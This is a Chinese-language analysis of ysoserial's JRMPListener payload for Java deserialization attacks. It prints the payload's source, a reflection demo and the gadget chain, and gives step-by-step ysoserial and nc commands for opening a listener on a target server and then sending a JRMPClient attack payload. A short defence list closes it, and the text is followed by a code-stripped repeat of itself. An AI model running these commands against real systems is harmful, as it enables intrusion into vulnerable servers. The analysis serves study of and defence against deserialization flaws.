payloads/JRMPListener
字数 1102 2025-08-05 08:19:37

JRMPListener 攻击原理与利用分析

一、JRMPListener 概述

JRMPListener 是 Java 远程方法协议(Java Remote Method Protocol)的一个利用模块,主要用于在目标服务器上开启一个监听端口,为后续攻击做准备。

攻击流程

  1. 生成 JRMPListener payload 并发送给目标服务器
  2. 服务器反序列化该 payload 后会开启指定端口进行监听
  3. 使用 exploit/JRMPClient 模块发送实际攻击 payload
  4. 服务器反序列化攻击 payload 完成攻击

二、Payload 生成过程分析

核心代码分析

通过 ysoserial 的 GeneratePayload 类生成 JRMPListener payload,主要参数为监听端口号(如1199)。

// JRMPListener.java 关键代码
public Object getObject(final String command) throws Exception {
    int jrmpPort = Integer.parseInt(command);
    UnicastServerRef ref = new UnicastServerRef(jrmpPort);
    
    // 使用反射构造 ActivationGroupImpl 对象
    Remote uro = Reflections.createWithConstructor(
        ActivationGroupImpl.class, 
        RemoteObject.class, 
        new Class<?>[] { RemoteRef.class },
        ref
    );
    
    // 设置端口号
    Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
    return uro;
}

反射构造对象机制

代码中使用了 Reflections.createWithConstructor 方法来构造对象,其核心是:

  1. 获取父类(RemoteObject)的有参构造方法
  2. 使用 ReflectionFactory.newConstructorForSerialization 创建无参构造方法
  3. 实例化目标对象(ActivationGroupImpl)

示例说明

// 示例代码展示反射构造机制
public class Person {
    public Person(String name) {
        System.out.println("调用有参构造" + name);
    }
}

public class User extends Person {
    public void eat() { System.out.println("eat..."); }
}

// 使用反射构造 User 实例
Constructor<Person> personConst = Person.class.getDeclaredConstructor(String.class);
Constructor constructor = ReflectionFactory.getReflectionFactory()
    .newConstructorForSerialization(User.class, personConst);
User user = (User) constructor.newInstance("xxx");
user.eat();

三、Gadget 链分析

完整的攻击调用链如下:

* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319

反序列化触发过程

  1. 服务器反序列化 payload 时触发 UnicastRemoteObject.readObject
  2. 调用 reexport() 方法重新导出远程对象
  3. 通过一系列调用最终到达 TCPTransport.listen() 开启端口监听

四、实际攻击步骤

1. 生成 JRMPListener payload

java -jar ysoserial.jar JRMPListener 1199 > jrmplistener.payload

2. 发送 payload 到目标服务器

通过存在反序列化漏洞的接口发送生成的 payload

3. 验证端口是否开启

nc -zv target_ip 1199

4. 使用 JRMPClient 发送攻击

java -jar ysoserial.jar JRMPClient target_ip:1199 > attack.payload

五、防御措施

  1. 升级 JDK 版本,修复相关反序列化漏洞
  2. 限制反序列化操作,使用白名单机制
  3. 使用安全管理器限制网络访问
  4. 监控异常端口开启行为

六、技术要点总结

  1. 反射构造机制:通过 ReflectionFactory.newConstructorForSerialization 绕过常规构造限制
  2. RMI 协议利用:利用 Java 远程方法协议的特性开启监听
  3. 反序列化触发:通过精心构造的对象触发服务器端反序列化操作
  4. 分阶段攻击:先开启监听端口,再发送实际攻击 payload

七、参考链接

  1. RMI 源码调试分析
  2. Java 反序列化漏洞详解
JRMPListener 攻击原理与利用分析 一、JRMPListener 概述 JRMPListener 是 Java 远程方法协议(Java Remote Method Protocol)的一个利用模块,主要用于在目标服务器上开启一个监听端口,为后续攻击做准备。 攻击流程 生成 JRMPListener payload 并发送给目标服务器 服务器反序列化该 payload 后会开启指定端口进行监听 使用 exploit/JRMPClient 模块发送实际攻击 payload 服务器反序列化攻击 payload 完成攻击 二、Payload 生成过程分析 核心代码分析 通过 ysoserial 的 GeneratePayload 类生成 JRMPListener payload,主要参数为监听端口号(如1199)。 反射构造对象机制 代码中使用了 Reflections.createWithConstructor 方法来构造对象,其核心是: 获取父类(RemoteObject)的有参构造方法 使用 ReflectionFactory.newConstructorForSerialization 创建无参构造方法 实例化目标对象(ActivationGroupImpl) 示例说明 三、Gadget 链分析 完整的攻击调用链如下: 反序列化触发过程 服务器反序列化 payload 时触发 UnicastRemoteObject.readObject 调用 reexport() 方法重新导出远程对象 通过一系列调用最终到达 TCPTransport.listen() 开启端口监听 四、实际攻击步骤 1. 生成 JRMPListener payload 2. 发送 payload 到目标服务器 通过存在反序列化漏洞的接口发送生成的 payload 3. 验证端口是否开启 4. 使用 JRMPClient 发送攻击 五、防御措施 升级 JDK 版本,修复相关反序列化漏洞 限制反序列化操作,使用白名单机制 使用安全管理器限制网络访问 监控异常端口开启行为 六、技术要点总结 反射构造机制 :通过 ReflectionFactory.newConstructorForSerialization 绕过常规构造限制 RMI 协议利用 :利用 Java 远程方法协议的特性开启监听 反序列化触发 :通过精心构造的对象触发服务器端反序列化操作 分阶段攻击 :先开启监听端口,再发送实际攻击 payload 七、参考链接 RMI 源码调试分析 Java 反序列化漏洞详解